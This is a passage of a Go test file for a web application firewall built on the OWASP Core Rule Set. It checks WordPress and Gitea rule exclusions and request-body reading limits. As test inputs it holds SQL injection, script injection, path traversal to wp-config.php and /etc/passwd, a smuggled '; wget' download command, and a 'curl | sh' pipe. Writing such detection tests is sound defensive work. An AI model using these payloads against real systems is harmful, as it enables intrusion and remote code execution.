r := request{recorded.Method, recorded.Target, recorded.Headers}
|
|
|
|
crsSets := []*coreruleset.CoreRuleSet{defaults}
|
|
if recorded.Body != "" {
|
|
crsSets = append(crsSets, bodies)
|
|
}
|
|
|
|
for _, crs := range crsSets {
|
|
got, _ := inspectBody(t, crs, r, recorded.Body)
|
|
if got.Score >= threshold {
|
|
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
|
|
}
|
|
}
|
|
})
|
|
}
|
|
|
|
for _, attack := range []string{
|
|
sqlInjection,
|
|
"..%2F..%2Fwp-config.php",
|
|
scriptInjection,
|
|
} {
|
|
for _, target := range wordpressAttackTargets(attack) {
|
|
if got := inspect(t, defaults, get(target)); got.Score < threshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// In a body field no exclusion names, on the paths with exclusions.
|
|
body := "id=" + attack
|
|
for _, target := range []string{
|
|
wpLogin,
|
|
wpComment,
|
|
wpAjax,
|
|
"/wp-admin/post.php",
|
|
"/wp-admin/options.php",
|
|
} {
|
|
got, _ := inspectBody(t, bodies,
|
|
request{http.MethodPost, target, []string{formData}}, body)
|
|
if got.Score < threshold {
|
|
t.Errorf("POST %s %q let through: %+v", target, body, got)
|
|
}
|
|
}
|
|
|
|
// In the body fields that skip some rules.
|
|
posts := append(wordpressBodyFields(attack),
|
|
wordpressBodyField{wpComment, formData, "url=" + attack})
|
|
for _, p := range posts {
|
|
got, _ := inspectBody(t, bodies,
|
|
request{http.MethodPost, p.target, []string{p.contentType}}, p.body)
|
|
if got.Score < threshold {
|
|
t.Errorf("POST %s %q let through: %+v", p.target, p.body, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// wordpressBodyField is a POST to target that sends body, a field whose
|
|
// name skips some rules there, with the Content-Type header contentType.
|
|
type wordpressBodyField struct{ target, contentType, body string }
|
|
|
|
// wordpressBodyFields returns encoded, a URL-encoded value, in a plugin to
|
|
// install and in each JSON field of a REST API save that skips some rules.
|
|
func wordpressBodyFields(encoded string) []wordpressBodyField {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
return []wordpressBodyField{
|
|
{wpAjax, formData, "action=install-plugin&slug=" + encoded},
|
|
{wpPost, jsonBody, fmt.Sprintf(`{"title":%q}`, value)},
|
|
{wpPost, jsonBody, fmt.Sprintf(`{"excerpt":%q}`, value)},
|
|
{wpPost, jsonBody, fmt.Sprintf(`{"slug":%q}`, value)},
|
|
{wpTags, jsonBody, fmt.Sprintf(`{"name":%q}`, value)},
|
|
}
|
|
}
|
|
|
|
// wordpressWords returns words that ordinary WordPress names and searches
|
|
// hold, each with the rule it misfired on.
|
|
func wordpressWords() []struct {
|
|
value string
|
|
rule int
|
|
} {
|
|
return []struct {
|
|
value string
|
|
rule int
|
|
}{
|
|
{".htaccess", 930120},
|
|
{"powershell", 932120},
|
|
{"ls -la", 932250},
|
|
{"python3", 932260},
|
|
}
|
|
}
|
|
|
|
// wordpressBlock is the comment that starts every block of WordPress's
|
|
// HTML, which rule 941180 matches.
|
|
const wordpressBlock = "<!-- wp:paragraph -->"
|
|
|
|
// wordpressOverride is the header with which the block editor saves.
|
|
const wordpressOverride = "X-HTTP-Method-Override: PUT"
|
|
|
|
// wordpressRESTAddresses returns the four addresses of route on the REST
|
|
// API.
|
|
func wordpressRESTAddresses(route string) []string {
|
|
return []string{
|
|
"/wp-json" + route,
|
|
"/index.php/wp-json" + route,
|
|
"/index.php?rest_route=" + route,
|
|
"/?rest_route=" + route,
|
|
}
|
|
}
|
|
|
|
func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodiesUpTo64K(t)
|
|
content := `{"content":"` + wordpressBlock + `"}`
|
|
|
|
for _, route := range []string{
|
|
"/wp/v2/posts/1",
|
|
"/wp/v2/posts/1/autosaves",
|
|
"/wp/v2/pages/2",
|
|
"/wp/v2/templates/twentytwentyfive//index",
|
|
"/wp/v2/template-parts/twentytwentyfive//header",
|
|
} {
|
|
for _, address := range wordpressRESTAddresses(route) {
|
|
r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}}
|
|
wantBody(t, crs, r, content, coreruleset.Result{}, content)
|
|
}
|
|
}
|
|
|
|
// The routes that save something else keep the rules.
|
|
for _, route := range []string{
|
|
"/wp/v2/comments", "/wp/v2/users/1", "/wp/v2/settings",
|
|
} {
|
|
for _, address := range wordpressRESTAddresses(route) {
|
|
r := request{http.MethodPost, address, []string{jsonBody}}
|
|
wantBody(t, crs, r, content, matched(941180), content)
|
|
}
|
|
}
|
|
|
|
// WordPress follows a route in the query over one in the path.
|
|
r := request{
|
|
http.MethodPost, "/wp-json/wp/v2/posts/1?rest_route=/wp/v2/comments",
|
|
[]string{jsonBody},
|
|
}
|
|
wantBody(t, crs, r, content, matched(941180), content)
|
|
}
|
|
|
|
func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get("/?s=python3"), get("/wp-admin/options.php?id=python3"),
|
|
matched(932260))
|
|
wantChange(t, crs, get("/?s=python3"), get("/?q=python3"), matched(932260))
|
|
wantChange(t, crs, get("/index.php?s=ls+-la"), get("/index.php?q=ls+-la"),
|
|
matched(932250))
|
|
wantChange(t, crs, get("/wp-json/wp/v2/search?search=powershell"),
|
|
get("/wp-json/example/v1/things?search=powershell"), matched(932120))
|
|
wantChange(t, crs, get("/index.php?rest_route=/wp/v2/search&search=powershell"),
|
|
get("/index.php?rest_route=/example/v1/things&search=powershell"), matched(932120))
|
|
wantChange(t, crs,
|
|
get("/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php"),
|
|
get("/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php"), matched(930120))
|
|
wantChange(t, crs, get("/wp-admin/theme-editor.php?file=docker-compose.yml"),
|
|
get("/wp-admin/theme-editor.php?id=docker-compose.yml"), matched(932260))
|
|
}
|
|
|
|
// TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three
|
|
// groups in wordpress.conf at one target of its group, against the same
|
|
// values in a field no group names, then one field at each other target of
|
|
// the group, then the names in the first group that skip fewer rules.
|
|
func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// A page's address, repeating the search it came from. Rules 932235
|
|
// and 932260 match it, and only the fields that hold an address skip
|
|
// 932235.
|
|
const pageAddress = "%2Fwp-admin%2Fedit.php%3Fs%3Dpython3"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, group := range []struct {
|
|
target string
|
|
fields []string
|
|
addressFields []string
|
|
}{
|
|
{
|
|
"/wp-admin/options.php?",
|
|
[]string{
|
|
"s", "search", "q", "term", "tag", "category_name", "plugin",
|
|
"checked%5B%5D", "theme", "stylesheet", "page",
|
|
},
|
|
[]string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"},
|
|
},
|
|
{"/wp-json/wp/v2/tags?", []string{"search", "term", "slug", "url"}, nil},
|
|
{"/?", []string{"s", "tag"}, nil},
|
|
} {
|
|
wantResult(t, crs, get(group.target+"id="+pageAddress), matched(932235, 932260))
|
|
|
|
for _, field := range group.fields {
|
|
wantResult(t, crs, get(group.target+field+"="+pageAddress), matched(932235))
|
|
}
|
|
|
|
for _, field := range group.addressFields {
|
|
wantResult(t, crs, get(group.target+field+"="+pageAddress), coreruleset.Result{})
|
|
}
|
|
|
|
for _, v := range wordpressWords() {
|
|
value := url.QueryEscape(v.value)
|
|
wantResult(t, crs, get(group.target+"id="+value), matched(v.rule))
|
|
|
|
for _, field := range slices.Concat(group.fields, group.addressFields) {
|
|
wantResult(t, crs, get(group.target+field+"="+value), coreruleset.Result{})
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, target := range []string{
|
|
"/wp-admin/term.php?s=python3",
|
|
wpLogin + "?s=python3",
|
|
"/index.php/wp-json/wp/v2/tags?slug=python3",
|
|
"/index.php?rest_route=/wp/v2/tags&slug=python3",
|
|
"/?rest_route=/wp/v2/tags&slug=python3",
|
|
"/wp-json/oembed/1.0/embed?url=python3",
|
|
"/?rest_route=/oembed/1.0/embed&url=python3",
|
|
"/index.php?tag=python3",
|
|
"/page/2/?tag=python3",
|
|
"/index.php/page/2/?s=python3",
|
|
} {
|
|
wantResult(t, crs, get(target), coreruleset.Result{})
|
|
}
|
|
|
|
// The names WordPress writes as slugs skip only 932120 and 932260.
|
|
for _, field := range []string{"p", "postId", "slug"} {
|
|
for _, v := range wordpressWords() {
|
|
want := coreruleset.Result{}
|
|
if v.rule == 930120 || v.rule == 932250 {
|
|
want = matched(v.rule)
|
|
}
|
|
|
|
target := "/wp-admin/options.php?" + field + "=" + url.QueryEscape(v.value)
|
|
wantResult(t, crs, get(target), want)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const command = "%3B+wget+http%3A%2F%2Fexample.com%2Fx.sh"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, target := range []string{
|
|
"/?s=",
|
|
"/page/2/?s=",
|
|
"/wp-admin/edit.php?s=",
|
|
"/wp-json/wp/v2/search?search=",
|
|
"/wp-admin/themes.php?search=",
|
|
"/wp-json/wp/v2/posts?slug=",
|
|
"/?rest_route=/wp/v2/posts&slug=",
|
|
"/wp-json/wp/v2/tags?url=",
|
|
"/wp-json/oembed/1.0/embed?url=",
|
|
"/?tag=",
|
|
"/wp-admin/edit.php?tag=",
|
|
"/wp-admin/admin-ajax.php?q=",
|
|
"/wp-admin/admin.php?page=",
|
|
"/wp-admin/options-general.php?page=",
|
|
"/wp-admin/tools.php?page=",
|
|
"/wp-admin/site-editor.php?p=",
|
|
"/wp-admin/site-editor.php?postId=",
|
|
"/wp-admin/admin-ajax.php?slug=",
|
|
} {
|
|
wantResult(t, crs, get(target+command), matched(932235))
|
|
}
|
|
|
|
bodies := readingBodiesUpTo64K(t)
|
|
|
|
for _, p := range wordpressBodyFields(command) {
|
|
r := request{http.MethodPost, p.target, []string{p.contentType}}
|
|
wantBody(t, bodies, r, p.body, matched(932235), p.body)
|
|
}
|
|
|
|
// The addresses of a link preview, an embed and a commenter's site keep
|
|
// 932260 too.
|
|
for _, target := range []string{
|
|
"/wp-json/wp-block-editor/v1/url-details?url=",
|
|
"/wp-json/oembed/1.0/proxy?url=",
|
|
} {
|
|
wantResult(t, crs, get(target+command), matched(932235, 932260))
|
|
}
|
|
|
|
comment := request{http.MethodPost, wpComment, []string{formData}}
|
|
wantBody(t, bodies, comment, "url="+command, matched(932235, 932260), "url="+command)
|
|
}
|
|
|
|
// TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule
|
|
// on one of its paths against the same value where no exclusion applies.
|
|
func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const elsewhere = "/example/things"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, tt := range []struct {
|
|
target string
|
|
rule int
|
|
}{
|
|
{"/page/2/?s=python3", 932260},
|
|
{"/page/2/?s=ls+-la", 932250},
|
|
{"/page/2/?s=powershell", 932120},
|
|
{"/index.php/page/2/?s=python3", 932260},
|
|
{"/?s=.htaccess", 930120},
|
|
{"/?s=wp-config.php", 930120},
|
|
{"/?s=.bashrc", 930120},
|
|
{"/page/2/?s=.htaccess", 930120},
|
|
{"/wp-admin/edit-comments.php?s=powershell", 932120},
|
|
{"/wp-admin/users.php?s=ls+-la", 932250},
|
|
{"/wp-admin/plugins.php?s=python3", 932260},
|
|
{"/wp-admin/edit-tags.php?s=python3", 932260},
|
|
{"/wp-admin/themes.php?search=powershell", 932120},
|
|
{"/wp-admin/theme-install.php?search=ls+-la", 932250},
|
|
{"/wp-admin/upload.php?search=python3", 932260},
|
|
{"/wp-admin/admin-ajax.php?q=powershell", 932120},
|
|
{"/wp-admin/admin-ajax.php?q=ls+-la", 932250},
|
|
{"/wp-admin/admin-ajax.php?q=python3", 932260},
|
|
{"/wp-admin/admin-ajax.php?term=powershell", 932120},
|
|
{"/wp-admin/admin-ajax.php?term=ls+-la", 932250},
|
|
{"/wp-admin/admin-ajax.php?term=python3", 932260},
|
|
{"/wp-admin/edit.php?_wp_http_referer=.htaccess", 930120},
|
|
{"/wp-admin/edit.php?_wp_http_referer=powershell", 932120},
|
|
{"/wp-admin/upload.php?_wp_http_referer=ls+-la", 932250},
|
|
{"/wp-admin/users.php?_wp_http_referer=python3", 932260},
|
|
{"/wp-admin/upload.php?_wp_http_referer=%2Fupload.php%3Fmode%3Dlist%26ps", 932340},
|
|
{"/?tag=python3", 932260},
|
|
{"/index.php?tag=powershell", 932120},
|
|
{"/wp-admin/edit.php?tag=ls+-la", 932250},
|
|
{"/wp-admin/edit.php?category_name=python3", 932260},
|
|
{"/wp-admin/edit.php?category_name=powershell", 932120},
|
|
{"/wp-admin/edit.php?category_name=ls+-la", 932250},
|
|
{"/wp-admin/plugin-editor.php?file=install-script.sh", 932120},
|
|
{"/wp-admin/theme-editor.php?file=document.write.js", 941180},
|
|
{"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260},
|
|
{"/wp-admin/plugins.php?plugin=powershell-tools", 932120},
|
|
{"/wp-admin/update.php?plugin=docker-helper", 932260},
|
|
{"/wp-admin/admin.php?page=docker-helper", 932260},
|
|
{"/wp-admin/options-general.php?page=powershell-tools", 932120},
|
|
{"/wp-admin/tools.php?page=ls+-la", 932250},
|
|
{"/wp-admin/tools.php?page=.htaccess", 930120},
|
|
{"/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex", 932260},
|
|
{"/wp-admin/site-editor.php?postId=powershell-theme%2F%2Findex", 932120},
|
|
{"/wp-admin/admin-ajax.php?slug=docker-helper", 932260},
|
|
{"/wp-json/wp-block-editor/v1/url-details?url=" +
|
|
"http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", 932120},
|
|
{"/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess", 930120},
|
|
} {
|
|
_, query, _ := strings.Cut(tt.target, "?")
|
|
wantChange(t, crs, get(tt.target), get(elsewhere+"?"+query), matched(tt.rule))
|
|
}
|
|
}
|
|
|
|
// TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term, url and
|
|
// the header X-HTTP-Method-Override at the REST API's addresses.
|
|
func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
// Any route of WordPress's own API, at each address.
|
|
for _, route := range []string{
|
|
"/wp/v2/tags", "/wp/v2/categories", "/wp/v2/pages", "/wp/v2/media",
|
|
"/wp/v2/users", "/wp/v2/blocks", "/wp/v2/pattern-directory/patterns",
|
|
} {
|
|
wantChange(t, crs, get("/wp-json"+route+"?search=python3"),
|
|
get("/wp-json/example/v1/things?search=python3"), matched(932260))
|
|
wantChange(t, crs, get("/index.php?rest_route="+route+"&search=python3"),
|
|
get("/index.php?rest_route=/example/v1/things&search=python3"), matched(932260))
|
|
wantChange(t, crs, get("/?rest_route="+route+"&search=.htaccess"),
|
|
get("/?rest_route=/example/v1/things&search=.htaccess"), matched(930120))
|
|
}
|
|
|
|
const directory = "/wp-json/wp/v2/block-directory/search"
|
|
|
|
wantChange(t, crs, get(directory+"?term=python3"),
|
|
get("/wp-json/example/v1/things?term=python3"), matched(932260))
|
|
wantChange(t, crs, get(directory+"?term=powershell"),
|
|
get("/wp-json/example/v1/things?term=powershell"), matched(932120))
|
|
wantChange(t, crs, get(directory+"?term=ls+-la"),
|
|
get("/wp-json/example/v1/things?term=ls+-la"), matched(932250))
|
|
|
|
// The block editor's link previews and embeds: url skips only 930120 and
|
|
// 932120.
|
|
for _, target := range []string{
|
|
"/wp-json/wp-block-editor/v1/url-details?url=",
|
|
"/?rest_route=/wp-block-editor/v1/url-details&url=",
|
|
"/wp-json/oembed/1.0/proxy?url=",
|
|
"/?rest_route=/oembed/1.0/proxy&url=",
|
|
} {
|
|
for _, v := range wordpressWords() {
|
|
want := coreruleset.Result{}
|
|
if v.rule == 932250 || v.rule == 932260 {
|
|
want = matched(v.rule)
|
|
}
|
|
|
|
wantResult(t, crs, get(target+url.QueryEscape(v.value)), want)
|
|
}
|
|
}
|
|
|
|
// The header X-HTTP-Method-Override at the address on the site root,
|
|
// and off the REST API.
|
|
headers := []string{jsonBody, "Content-Length: 2", wordpressOverride}
|
|
wantChange(t, crs,
|
|
request{http.MethodPost, "/?rest_route=/wp/v2/posts/1", headers},
|
|
request{http.MethodPost, "/?p=1", headers}, matched(920450))
|
|
}
|
|
|
|
func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantResult(t, crs, get(wpLogin+"?pwd=%2Fetc%2Fhosts"), matched(930120))
|
|
wantResult(t, crs, get(wpLogin+"?PWD=%2Fetc%2Fhosts"), matched(930120))
|
|
wantResult(t, crs, get("/wp-admin/admin-ajax.php?content=ls+-la"), matched(932250))
|
|
wantResult(t, crs, get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"),
|
|
matched(941100, 941160))
|
|
wantResult(t, crs,
|
|
get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)),
|
|
matched(941180))
|
|
wantResult(t, crs, get("/wp-json/wp/v2/posts/1?json.title=python3"), matched(932260))
|
|
wantResult(t, crs, get("/wp-comments-post.php?url=powershell"), matched(932120))
|
|
}
|
|
|
|
// TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere checks the JSON
|
|
// fields of a REST API save, a plugin to install and a commenter's address,
|
|
// against the same values in another field and off their paths.
|
|
func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodiesUpTo64K(t)
|
|
|
|
for _, v := range wordpressWords() {
|
|
for _, field := range []string{"title", "excerpt", "name"} {
|
|
body := fmt.Sprintf(`{%q:%q}`, field, v.value)
|
|
|
|
for _, address := range wordpressRESTAddresses("/wp/v2/posts/1") {
|
|
r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}}
|
|
wantBody(t, crs, r, body, coreruleset.Result{}, body)
|
|
}
|
|
|
|
r := request{http.MethodPost, "/wp-json/example/v1/things", []string{jsonBody}}
|
|
wantBody(t, crs, r, body, matched(v.rule), body)
|
|
}
|
|
|
|
other := fmt.Sprintf(`{"description":%q}`, v.value)
|
|
r := request{http.MethodPost, wpTags, []string{jsonBody}}
|
|
wantBody(t, crs, r, other, matched(v.rule), other)
|
|
}
|
|
|
|
// A post's slug and a plugin to install skip only 932120 and 932260.
|
|
post := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}}
|
|
install := request{http.MethodPost, wpAjax, []string{formData}}
|
|
|
|
for _, v := range wordpressWords() {
|
|
want := coreruleset.Result{}
|
|
if v.rule == 930120 || v.rule == 932250 {
|
|
want = matched(v.rule)
|
|
}
|
|
|
|
slug := fmt.Sprintf(`{"slug":%q}`, v.value)
|
|
wantBody(t, crs, post, slug, want, slug)
|
|
|
|
plugin := "action=install-plugin&slug=" + url.QueryEscape(v.value)
|
|
wantBody(t, crs, install, plugin, want, plugin)
|
|
}
|
|
|
|
comment := request{http.MethodPost, wpComment, []string{formData}}
|
|
elsewhere := request{http.MethodPost, "/example/things", []string{formData}}
|
|
|
|
// A commenter's address skips the two rules that refused an address.
|
|
for _, v := range []struct {
|
|
address string
|
|
rule int
|
|
}{
|
|
{"http://blog.example/.htaccess", 930120},
|
|
{"http://blog.example/powershell-basics/", 932120},
|
|
} {
|
|
body := "url=" + url.QueryEscape(v.address)
|
|
wantBody(t, crs, comment, body, coreruleset.Result{}, body)
|
|
wantBody(t, crs, elsewhere, body, matched(v.rule), body)
|
|
|
|
author := "author=" + url.QueryEscape(v.address)
|
|
wantBody(t, crs, comment, author, matched(v.rule), author)
|
|
}
|
|
|
|
// The rules on Unix commands keep it.
|
|
wantBody(t, crs, comment, "url=python3", matched(932260), "url=python3")
|
|
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
|
}
|
|
|
|
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
offREST = "/api/posts/1"
|
|
length = "Content-Length: 2"
|
|
)
|
|
|
|
crs := readingBodiesUpTo64K(t)
|
|
saving := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}}
|
|
|
|
content := `{"content":"` + wordpressBlock + `"}`
|
|
wantBody(t, crs, saving, content, coreruleset.Result{}, content)
|
|
|
|
// The other fields of the post keep the rule, and so does the same field
|
|
// off the REST API.
|
|
title := `{"title":"` + wordpressBlock + `"}`
|
|
wantBody(t, crs, saving, title, matched(941180), title)
|
|
wantBody(t, crs, request{http.MethodPost, offREST, []string{jsonBody}}, content,
|
|
matched(941180), content)
|
|
|
|
// The header X-HTTP-Method-Override is refused off the REST API.
|
|
defaults := atDefaults(t)
|
|
wantResult(t, defaults,
|
|
request{http.MethodPost, wpPost, []string{jsonBody, length, wordpressOverride}},
|
|
coreruleset.Result{})
|
|
wantResult(t, defaults,
|
|
request{http.MethodPost, offREST, []string{jsonBody, length, wordpressOverride}},
|
|
matched(920450))
|
|
|
|
// Signing in: pwd alone skips the list of system files.
|
|
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
|
|
|
body := "log=a&pwd=b%20%2Fetc%2Fhosts"
|
|
wantBody(t, crs, signIn, body, coreruleset.Result{}, body)
|
|
|
|
body = "log=b%20%2Fetc%2Fhosts&pwd=a"
|
|
wantBody(t, crs, signIn, body, matched(930120), body)
|
|
}
|
|
|
|
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
|
|
const bodyLimit = 8 << 10
|
|
|
|
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
|
const (
|
|
formData = "Content-Type: application/x-www-form-urlencoded"
|
|
multipart = "Content-Type: multipart/form-data; boundary=b"
|
|
jsonBody = "Content-Type: application/json"
|
|
xmlBody = "Content-Type: application/xml"
|
|
)
|
|
|
|
// injection is an SQL injection, which rule 942100 matches.
|
|
const injection = "1' OR '1'='1"
|
|
|
|
// scriptTag is a script injection, not escaped.
|
|
const scriptTag = "<script>alert(1)</script>"
|
|
|
|
// readingBodies returns the Core Rule Set as sww runs it by
|
|
// default, but reading bodies up to bodyLimit.
|
|
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return shared(t, coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
})
|
|
}
|
|
|
|
// post is a POST request for / with a body of the type contentType, a
|
|
// Content-Type header, gives, and headers besides.
|
|
func post(contentType string, headers ...string) request {
|
|
return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
|
|
}
|
|
|
|
// field is a part of a multipart body: the field name, holding value.
|
|
func field(name, value string) string {
|
|
return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
|
|
value + "\r\n"
|
|
}
|
|
|
|
// end ends a multipart body.
|
|
const end = "--b--\r\n"
|
|
|
|
// padded returns head and tail with as many a's between them as make n
|
|
// bytes in all.
|
|
func padded(head, tail string, n int) string {
|
|
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
|
|
}
|
|
|
|
// wantBody checks what crs finds in r with body, and that what it read of
|
|
// body is read.
|
|
func wantBody(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
|
|
want coreruleset.Result,
|
|
read string,
|
|
) {
|
|
t.Helper()
|
|
|
|
got, gotRead := inspectBody(t, crs, r, body)
|
|
if !reflect.DeepEqual(got, want) || gotRead != read {
|
|
t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
|
|
"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
|
|
want, len(read))
|
|
}
|
|
}
|
|
|
|
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
off, on := atDefaults(t), readingBodies(t)
|
|
|
|
for _, tc := range []struct{ header, body string }{
|
|
{formData, "q=" + url.QueryEscape(injection)},
|
|
{multipart, field("q", injection) + end},
|
|
{jsonBody, `{"q":"` + injection + `"}`},
|
|
{xmlBody, "<q>" + injection + "</q>"},
|
|
} {
|
|
wantBody(t, off, post(tc.header), tc.body, coreruleset.Result{}, "")
|
|
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
|
|
}
|
|
}
|
|
|
|
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
pad := strings.Repeat("a", bodyLimit)
|
|
|
|
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
|
{
|
|
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
|
|
"pad=" + pad + "&q=" + url.QueryEscape(injection),
|
|
},
|
|
{
|
|
multipart, field("q", injection) + field("pad", pad) + end,
|
|
field("pad", pad) + field("q", injection) + end,
|
|
},
|
|
} {
|
|
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
|
tc.attackFirst[:bodyLimit+1])
|
|
wantBody(t, crs, post(tc.header), tc.attackLast, coreruleset.Result{},
|
|
tc.attackLast[:bodyLimit+1])
|
|
}
|
|
|
|
// To the byte: a system file's path is found when it ends at the limit,
|
|
// and not when its last letter is past it, which is still read.
|
|
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
|
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
|
|
|
|
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
|
wantBody(t, crs, post(formData), pastLimit, coreruleset.Result{}, pastLimit)
|
|
}
|
|
|
|
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, tc := range []struct{ header, head, tail string }{
|
|
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
|
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
|
} {
|
|
fits := padded(tc.head, tc.tail, bodyLimit)
|
|
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
|
|
|
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
|
wantBody(t, crs, post(tc.header), larger, coreruleset.Result{}, larger)
|
|
}
|
|
}
|
|
|
|
func TestOtherBodiesAreNotRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// Read as form data, which the Core Rule Set does with a body of a type
|
|
// it does not know, this would be an SQL injection.
|
|
body := "q=" + url.QueryEscape(injection)
|
|
|
|
for _, header := range []string{
|
|
"Content-Type: application/octet-stream",
|
|
"Content-Type: text/plain",
|
|
"Content-Type: application/x-git-receive-pack-request",
|
|
} {
|
|
wantBody(t, crs, post(header), body, coreruleset.Result{}, "")
|
|
}
|
|
}
|
|
|
|
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const gzip = "Content-Encoding: gzip"
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, tc := range []struct{ header, body string }{
|
|
{formData, "a=1"},
|
|
{multipart, field("a", "1") + end},
|
|
{jsonBody, `{"a":1}`},
|
|
{xmlBody, "<a>1</a>"},
|
|
} {
|
|
wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
|
|
}
|
|
|
|
// Whatever its size: a JSON body larger than the limit is not read, but
|
|
// Content-Encoding on it is refused all the same.
|
|
larger := strings.Repeat("a", bodyLimit+1)
|
|
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
|
|
|
// It is allowed on a body of any other kind, and on every body while no
|
|
// body is read.
|
|
fetch := "Content-Type: application/x-git-upload-pack-request"
|
|
wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "")
|
|
wantBody(t, atDefaults(t), post(formData, gzip), "a", coreruleset.Result{}, "")
|
|
}
|
|
|
|
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
local := url.QueryEscape("http://127.0.0.1:52341/")
|
|
|
|
for _, tc := range []struct {
|
|
body string
|
|
want coreruleset.Result
|
|
}{
|
|
{"path=.gitignore", coreruleset.Result{}},
|
|
{"q=.gitignore", matched(930120)},
|
|
{"redirect_uri=" + local, coreruleset.Result{}},
|
|
{"next=" + local, matched(931100, 934110)},
|
|
} {
|
|
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
|
|
}
|
|
|
|
body := field("path", ".gitignore") + end
|
|
wantBody(t, crs, post(multipart), body, coreruleset.Result{}, body)
|
|
|
|
body = field("q", ".gitignore") + end
|
|
wantBody(t, crs, post(multipart), body, matched(930120), body)
|
|
|
|
// A JSON body's field is named by its path, here json.path, and is
|
|
// checked.
|
|
body = `{"path":".gitignore"}`
|
|
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
|
|
}
|
|
|
|
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// A comment that shows a shell command.
|
|
const text = "Try `curl -s https://example.org | sh` first."
|
|
|
